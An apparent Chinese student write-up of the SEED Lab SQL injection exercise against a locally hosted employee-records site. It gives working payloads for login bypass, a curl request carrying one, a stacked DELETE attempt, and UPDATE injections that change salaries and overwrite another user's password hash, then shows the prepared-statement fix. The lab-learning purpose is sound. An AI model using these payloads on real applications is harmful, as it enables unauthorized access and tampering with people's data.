信息安全 SEED Lab9 SQL Injection Attack Lab

这个实验主要是尝试以下SQL注入。由于整个实验过程要用到网站,这里先配置一下。

网站部署在本地,且用域名访问,所以我们需要现在 /etc/hosts文件中设置域名到 IP 的映射关系。内容如下:

127.0.0.1       www.SeedLabSQLInjection.com

网站使用Apache作为服务器,在 /etc/apache2/sites-available/000-default.conf配置一下网站主目录,内容如下:

<VirtualHost *:80>
        ServerName http://www.SeedLabSQLInjection.com
        DocumentRoot /var/www/SQLInjection
</VirtualHost>

事实上,上面两部分环境中早已配置好,无需我们操心。
访问一下http://www.seedlabsqlinjection.com/, 没有问题。
在这里插入图片描述

1. Task 1

这部分主要是熟悉一下SQL。这个应用后台有一个名为Users的数据库,其中有一个名为credential的表,表结构类似下图:
在这里插入图片描述
我们可以打印Alice的信息如下:

[06/26/21]seed@VM:/home$ mysql -uroot -pseedubuntu
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.19-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from credential where name = "Alice";
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name  | EID   | Salary | birth | SSN      | PhoneNumber | Address | Email | NickName | Password                                 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
|  1 | Alice | 10000 |  20000 | 9/20  | 10211002 |             |         |       |          | fdbe918bdae83000aa54747fc95fe0470fff4976 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
1 row in set (0.00 sec)

mysql> 

2. Task 2

这部分主要是对SQL中的Select 语句进行SQL注入攻击.网站登录验证的逻辑位于/var/www/SQLInjection\unsafe_home.php, 大致如下:

$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$hashed_pwd = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
								nickname, Password
			FROM credential
			WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);

// The following is Pseudo Code
if(id != NULL) {
	if(name==’admin’) {
		return All employees information;
	} else if (name !=NULL){
		return employee information;
	}
} else {
	Authentication Fails;
}

Task 2.1

这部分主要就是假设你知道网站管理员用户名为admin, 但是不知道密码,在网站的登录页面输入什么值可以登陆进admin 的账号。
这里我使用的usernameadmin' or 1 = 1 --', password 为空,输入即可登录并显示所有信息
在这里插入图片描述
注意这里攻击的话只能从修改 username入手,修改password是没有用的,因为password 经过哈希之后会使攻击失效。

Task 2.2

这部分还是重复 task 2.1的内容,只不过换成命令行的形式。这里我用的usernameadmin' or 1 = 1 --', password 为空,与上面一样。

查看登录的GET请求如下:

在这里插入图片描述
使用下面的js构造URL,执行得到的URL为 http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20or%201%20%3D%201%20--%27&Password=

var username = "?username=" + escape("admin' or 1 = 1 --'");
var password = "&Password=" + escape("");
console.log("http://www.seedlabsqlinjection.com/unsafe_home.php" + username + password);

使用下面的curl命令请求登录,这里因为我的系统代理有点问题,所以加了-noproxy, 也可以去掉中间的两个参数,直接用curl + url即可。

curl --noproxy "*" http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20or%201%20%3D%201%20--%27&Password=

结果如下,可以看出成功登录,中间框起来的就是返回的用户表格信息。
在这里插入图片描述

Task 2.3

这部分主要是利用SQL注入做一些偷取信息之外的事情,我们就以删除用户Bob为目标吧。

使用的 usernameadmin'; delete from credential where name = 'Bob' #', password 为 空,登录结果如下:
在这里插入图片描述
可以看到,登录失败,原因是后台使用的是mysqli.query() 进行数据库查询,其一次只支持一条sql语句,而我们上面的输入会使得存在两条sql语句,所以会报错。

3. Task 3

这部分主要是用sql注入对update语句进行注入。

编辑主页页面如下
在这里插入图片描述
处理的逻辑位于 /var/www/SQLInjection\unsafe_edit_backend.php.php, 大致如下:

$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
	nickname=’$input_nickname’,
	email=’$input_email’,
	address=’$input_address’,
	Password=’$hashed_pwd’,
	PhoneNumber=’$input_phonenumber’
	WHERE ID=$id;";
$conn->query($sql);

Task 3.1

这部分主要是修改自己的收入, 而页面上没有修改收入这一选项。

这里使用的是Alice账号,虽然我们不知道密码,但是我们可以用usernameAlice'#password 为空登陆进去。
在这里插入图片描述
接下来修改自己的salary为50000。使用的nicknameAlice', salary = ’50000, 其他字段为空。 修改后如下:
在这里插入图片描述
注意: 虽然salary字段在数据库中是int类型,我们构造的是字符串类型,但数据库可以自动完成字符串到int的转换。

Task 3.2

这部分主要是修改别人的收入。这里我们演示将 Boby 的 salary 改成 1。使用 usernameBoby'#, password 为空,可以登录进Boby账户。显示如下:
在这里插入图片描述
要修改Boby的信息,必须要先通过社会工程学知道一些Boby的信息和猜测。这里我们知道了Boby的名字,我们可以猜测对应字段的名字,比如username, name 等等。如我们猜测对应字段为username, 则使用的nicknameBoby', salary = 1 where username = 'Boby' #, 其他为空。如为name, 则使用的nicknameBoby', salary = 1 where name = 'Boby' #, 其他为空。主要是知道字段和对应的值,方便从数据库中筛选出Boby,比如 ID = 2。

这个表单执行了错误的sql也不会报错,我们可以将猜想的都放进去执行。等猜中的执行完了Boby的salary就被修改了。上面我们猜的name是对的,所以攻击成功。如下所示
在这里插入图片描述

Task 3.3

这部分主要是修改别人的密码。具体和上面的类似,只是字段换成了password, 注意数据库中存的password是明文password的哈希值。

这里我们演示将Boby的密码修改为空, 也就是`` , 其sha1值为da39a3ee5e6b4b0d3255bfef95601890afd80709。
因此我们使用的nicknameBoby', password = 'da39a3ee5e6b4b0d3255bfef95601890afd80709' where name = 'Boby' #,其他为空
即可完成修改。

再使用usernameBoby, password为空即可登录Boby账号
在这里插入图片描述
在这里插入图片描述

4. Task 4

这部分主要是探讨SQL注入的一个防御措施:预处理SQL。原来的拼接式SQL如下:

$sql = "SELECT name, local, gender
		FROM USER_TABLE
		WHERE id = $id AND password =’$pwd’ ";
$result = $conn->query($sql))

而预处理SQL可以将SQL中的code和data分离,使得不会混淆。如下:

$stmt = $conn->prepare("SELECT name, local, gender
						FROM USER_TABLE
						WHERE id = ? and password = ? ");
						
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();

接着用预处理SQL来修复网站的SQL注入漏洞。其实修复好的php源码就在/var/www/SQLInjection目录下,无需动手。

Task 4.1

这部分是对登录页面的修复。

修改后的查询数据库源码如下:

      // create a connection
      $conn = getDB();
      // Sql query to authenticate the user
      $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");
      $sql->bind_param("ss", $input_uname, $hashed_pwd);
      $sql->execute();
      $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
      $sql->fetch();
      $sql->close();

      if($id!=""){
        // If id exists that means user exists and is successfully authenticated
        drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber);
      }else{
        // User authentication failed
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        echo "<div class='alert alert-danger'>";
        echo "The account information your provide does not exist.";
        echo "<br>";
        echo "</div>";
        echo "<a href='index.html'>Go back</a>";
        echo "</div>";
        return;
      }

可以看到换用了预处理SQL方式,先用 prepare() 处理SQL模板,再用bind_param() 绑定数据,最后获取结果。

并将/var/www/SQLInjection/index.html中所有的unsafe 都修改为 safe.

随便输入账号登录,确保红框处为safe_home.php 即可。
在这里插入图片描述
在Task 2.1 中使用的usernameadmin' or 1 = 1 --', password 为空,尝试登录,结果如下,攻击失败
在这里插入图片描述

Task 4.2

这部分是对修改主页页面的修复。

/var/www/SQLInjection/unsafe_edit_frontend.php 中的unsafe 都改成 safe,最后将这个文件名中的的unsafe 也改成 safe
/var/www/SQLInjection/safe_edit_backend.php 中的unsafe 都改成 safe

处理修改的数据库查询的逻辑位于 /var/www/SQLInjection/safe_edit_backend.php 中,修改后的如下:

  $conn = getDB();
  // Don't do this, this is not safe against SQL injection attack
  $sql="";
  if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }
  $conn->close();
  header("Location: safe_home.php");
  exit();

和之前的一样,也是先用 prepare() 处理SQL模板,再用bind_param() 绑定数据,最后获取结果。

当前Boby主页如下:
在这里插入图片描述
我们尝试将Boby的Salary修改为50000,使用的参数与 Task 3.1 类似。 nicknameBoby', salary = ’50000, 其他字段为空,尝试修改。结果如下:
在这里插入图片描述
可以看到我们输入的nickname被当成了nickname, 而不是salary作为一个字段。最后攻击失败,salary修改失败,只有
nickname被修改了。

撒花完结!!!

  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值